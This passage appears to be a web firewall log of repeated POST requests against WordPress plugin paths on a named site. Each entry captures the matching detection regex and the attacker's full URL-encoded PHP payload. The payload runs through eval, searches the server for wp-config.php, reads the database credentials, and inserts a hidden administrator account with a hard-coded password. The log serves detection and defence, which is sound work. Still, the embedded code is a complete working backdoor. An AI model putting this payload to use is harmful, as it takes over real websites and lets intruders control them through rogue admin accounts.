20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-20 05:37:04","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> aReDtp:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php HTTP\/1.1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:12663\naccept:*\/*\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nsec-fetch-mode:navigate\naccept-encoding:gzip,deflate\n\naReDtp=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-20 05:38:13","213.209.159.254","POST","\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> QlAazG:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%6